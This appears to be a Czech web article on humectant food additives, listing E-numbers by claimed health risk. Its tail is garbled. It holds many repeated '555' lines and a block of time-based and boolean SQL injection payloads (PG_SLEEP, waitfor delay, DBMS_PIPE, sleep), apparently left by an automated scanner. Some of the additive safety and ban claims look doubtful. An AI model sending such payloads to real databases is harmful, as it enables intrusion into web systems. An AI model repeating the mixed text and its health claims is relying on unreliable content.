Zvlhčující látky působí proti účinkům vzduchu s nízkou relativní vlhkostí a ochraňují tak potraviny před vysycháním. Mezi zvlhčující látky patří i ty, které podporují rozpouštění práškovým potravin ve vodním prostředí.
Zvlhčující látky jsou v potravinářském průmyslu využívány poměrně často především u ovoce a zeleniny, ale i u masných výrobků. Zabraňují jejich vysychání a potravinám tak zůstává nejen vzhled, ale i jejich objem a váha. Používají se nejen u ovoce, zeleniny a masných výrobků, ale také u tzv. potravin v prášku a u různých potravinářských směsí, kde podporují a usnadňují jejich rozpouštění.
Zvhlčující látky jsou v různých skupinách přídatných látek a mnoho se jich používá i k jiným účelům. Dělí se na
- přírodní a přírodně identické
- polosyntetické a syntetické
Zvhlčující látky získané syntetickou cestou z látek přírodního živočišného původu bez negativních účinků pro lidské zdraví
- E422 - Glycerol
- E435 - Polyoxyethylensorbitanmonostearát
- E436 - Polyoxyethylensorbitantristearát
- E442 - Fosfatidy amonné
- E570 - Mastné kyseliny
Pro lidský organismus bezpečné zvlhčující látky získané syntetickou cestou z látek přírodního původu a látky přírodně identické
- E334 - Kyselina vinná
- E350 - Jablečnany sodné
- E953 - Isomalt
- E966 - Laktitol
- E967 - Xylitol
- E968 - Erythritol
- E1521 - Polyethylenglykol (PEG 6000)
Zvlhčující látky, které nejsou vhodné pro děti, ale u dospělých osob se negativně neprojevují
- E325 - Mléčnan sodný
- E326 - Mléčnan draselný
- E327 - Mléčnan vápenatý
Zdraví člověka nepříznivě ovlivňující zvlhčující látky nevhodné pro osoby citlivější na chemii v potravinách a pro děti
- E452 - Polyfosforečnany ( sodný, draselný a vápenatý )
- E965 - Maltitol
Pro lidský organismus nebezpečné zvlhčující látky, které jsou nevhodné pro děti a mohou způsobovat i alergické reakce
- E414 - Arabská guma
- E421 - Mannitol
- E1520 - Propylenglykol
Zakázané zvlhčující látky
- E478 - Laktylované estery glycerolu a propandiolu
- E487 - Laurylsulfát sodný
V ČR a EU zakázané zvlhčující látky, které způsobují alergie a jsou zcela nevhodné pro děti, se mohou vyskytovat v potravinách, které byly vyrobeny mimo země Evropské unie, ale do ČR a EU dovezeny.
Použití zvlhčujících látek například u volně prodávaného a nebaleného ovoce a zeleniny je pouze možné předpokládat především podle vzhledu potravin. Množství použitých zvlhčujích látek u jednotlivých druhů potravin je stanoveno předpisy a nemělo by při běžné konzumaci nijak významně negativně ovlivnit zdraví. Protože je však možné používat různé přídatné látky u jednoho druhu potraviny je dobré se obalu seznámit s jejich složením a v případě, že jsou zde uvedeny E-látky nevhodné nebo škodlivé takové potraviny raději nekonzumovat nebo jejich konzumaci omezit na nezbytné minimum.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@xBlrw
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
OoWzUjal')) OR 189=(SELECT 189 FROM PG_SLEEP(15))--
Aqm9Nwqq') OR 228=(SELECT 228 FROM PG_SLEEP(15))--
UChKIp7u' OR 860=(SELECT 860 FROM PG_SLEEP(15))--
-1)) OR 779=(SELECT 779 FROM PG_SLEEP(15))--
-5) OR 360=(SELECT 360 FROM PG_SLEEP(15))--
-5 OR 164=(SELECT 164 FROM PG_SLEEP(15))--
pF171d10'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+960-960) --
-1" OR 3*2<(0+5+960-960) --
-1" OR 3+960-960-1=0+0+0+1 --
-1" OR 2+960-960-1=0+0+0+1 --
-1' OR 3*2>(0+5+271-271) or 'EZR1oC9e'='
-1' OR 3*2<(0+5+271-271) or 'EZR1oC9e'='
-1' OR 3+271-271-1=0+0+0+1 or 'EZR1oC9e'='
-1' OR 2+271-271-1=0+0+0+1 or 'EZR1oC9e'='
-1' OR 3*2>(0+5+28-28) --
-1' OR 3*2<(0+5+28-28) --
-1' OR 3+28-28-1=0+0+0+1 --
-1' OR 2+28-28-1=0+0+0+1 --
-1 OR 3*2>(0+5+879-879)
-1 OR 3*2<(0+5+879-879)
-1 OR 3+879-879-1=0+0+0+1
-1 OR 2+879-879-1=0+0+0+1
-1 OR 3*2>(0+5+601-601) --
-1 OR 3*2<(0+5+601-601) --
-1 OR 3+601-601-1=0+0+0+1 --
-1 OR 2+601-601-1=0+0+0+1 --
555
555
555
555
555